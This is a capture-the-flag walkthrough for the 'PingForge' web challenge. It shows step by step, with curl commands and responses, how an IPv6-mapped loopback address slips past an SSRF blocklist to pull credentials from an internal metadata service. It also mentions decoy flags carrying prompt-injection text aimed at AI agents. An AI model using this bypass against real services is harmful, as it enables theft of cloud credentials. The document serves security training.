PingForge
PingForge
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: decoy_flag_avoidance, internal_service_enumeration, ipv6_mapped_ipv4_bypass, ssrf_via_webhook, url_validation_bypass, webhook_delivery_log_exfiltration
Summary
Walkthrough of the CUSTOM Web PingForge. Task: PingForge webhook platform with URL validation blocklist preventing SSRF to internal metadata service on localhost:3001. Solution: Bypass blocklist using IPv6-mapped IPv4 address (::ffff:127.0.0
Description
PingForge is a webhook management and event notification platform built by ForgeStack Inc. Teams use it to route application events to external services via configurable webhook endpoints. The platform supports multiple notification channels, delivery logs with full request/response details, and retry policies. You have been given a standard user account to test the platform's security. Your goal is to find and exploit a vulnerability that allows you to access internal services that should not be reachable from the outside.
English summary: A Node.js/Express webhook management platform (PingForge v2.4.1) with URL validation that blocks access to internal infrastructure. The goal is to bypass the URL filter and access an internal metadata service running on localhost:3001. Stack: Node.js/Express, nginx/1.25.5, SQLite.
Analysis
Reconnaissance
After authenticating with user@test.com / password123 via POST to /login, the application revealed several important details:
-
Settings page → System Health section disclosed an Instance Metadata Service running on
localhost:3001. -
Docs page → URL Validation section documented the SSRF blocklist:
- Blocked IPv4 ranges:
127.0.0.0/8,10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,169.254.169.254,0.0.0.0 - Blocked hostnames:
localhost - Only
http://andhttps://protocols allowed - Critical gap: No IPv6 addresses mentioned in blocklist
- Blocked IPv4 ranges:
-
Webhook test ping feature: Each webhook has a "Send Test Ping" button that triggers
POST /webhooks/:id/test— the server makes an HTTP request to the webhook URL and returns the full response body in JSON. This is the SSRF vector. -
Decoy flags: Every HTML page contained a honeypot flag
FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}in hidden HTML elements with prompt injection text designed to trick AI agents. These were identified and ignored.
Key Vulnerability
The URL validation is string-based and only checks for IPv4 private ranges and the localhost hostname. It does not account for IPv6-mapped IPv4 addresses. The address ::ffff:127.0.0.1 is the IPv6 representation of the IPv4 loopback 127.0.0.1 — it resolves to the exact same loopback interface, but the validator doesn't recognize it as internal.
Key Endpoints
| Endpoint | Method | Purpose |
|---|---|---|
/login | POST | Authentication (email, password) |
/webhooks | GET/POST | List/create webhooks |
/webhooks/:id | GET | Webhook detail with delivery history |
/webhooks/:id/test | POST | Trigger test ping (SSRF vector) — returns response_body |
/webhooks/:id/delete | POST | Delete webhook |
/settings | GET | System health reveals internal service on localhost:3001 |
/docs | GET | API docs revealing URL validation blocklist |
| |
Solution
Step 1: Authentication
bash read-only • copy allowedcurl -c cookies.txt -X POST https://TARGET/login \ -d "email=user@test.com&password=password123" \ -L
Step 2: Identify the bypass
Attempted direct access to the internal metadata service — both blocked by the URL validator:
http://localhost:3001/ → Blocked (localhost in blocklist)
http://127.0.0.1:3001/ → Blocked (127.0.0.0/8 in blocklist)
The IPv6-mapped IPv4 address bypasses the filter:
http://[::ffff:127.0.0.1]:3001/ → ACCEPTED (not in blocklist)
Step 3: Create SSRF webhook and enumerate internal service
Created a webhook with the bypass URL:
bash read-only • copy allowedcurl -b cookies.txt -X POST https://TARGET/webhooks \ -d "name=ssrf-test&url=http://[::ffff:127.0.0.1]:3001/&events=push&secret=test&active=on" \ -L
Triggered the test ping to enumerate the internal metadata service:
bash read-only • copy allowedcurl -b cookies.txt -X POST https://TARGET/webhooks/6/test
Response revealed the internal service structure:
json read-only • copy allowed{ "service": "ForgeStack Instance Metadata Service", "version": "2.1.0", "status": "running", "endpoints": [ "GET / - Service information and health check", "GET /credentials - Instance IAM credentials", "GET /instance-info - Instance metadata and tags" ] }
Step 4: Extract credentials (flag)
Created a second webhook targeting the /credentials endpoint:
bash read-only • copy allowedcurl -b cookies.txt -X POST https://TARGET/webhooks \ -d "name=ssrf-creds&url=http://[::ffff:127.0.0.1]:3001/credentials&events=push&secret=test&active=on" \ -L
Triggered the test ping:
bash read-only • copy allowedcurl -b cookies.txt -X POST https://TARGET/webhooks/7/test
Response contained the flag in the AWS IAM credentials:
json read-only • copy allowed{ "code": "Success", "type": "AWS-HMAC", "credentials": { "access_key_id": "AKIAIOSFODNN7EXAMPLE", "secret_access_key": "FLAG{REDACTED}", "session_token": "FwoGZXIvYXdzEBYaDH2TVAaqM3UzhX7Rkay7pA3JApxEj7mIfpikSGEganDNiPZnvYRfWU0cNDlkZ2R5Ymp4bHNk", "expiration": "2026-03-18T12:00:00Z" }, "role_arn": "arn:aws:iam::984721536098:role/PingForge-ServiceRole", "assumed_role_id": "AROA3XFRBF23QLBZPXYUZ:PingForge" }
Step 5: Additional enumeration (optional)
A third webhook targeting /instance-info revealed:
json read-only • copy allowed{ "instance_id": "i-0a1b2c3d4e5f67890", "private_ip": "10.0.1.42", ... }
Key Takeaways / Lessons
- Mastering decoy_flag_avoidance, internal_service_enumeration, ipv6_mapped_ipv4_bypass, ssrf_via_webhook, url_validation_bypass, webhook_delivery_log_exfiltration was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-05 • CUSTOM • PingForge • Difficulty: Medium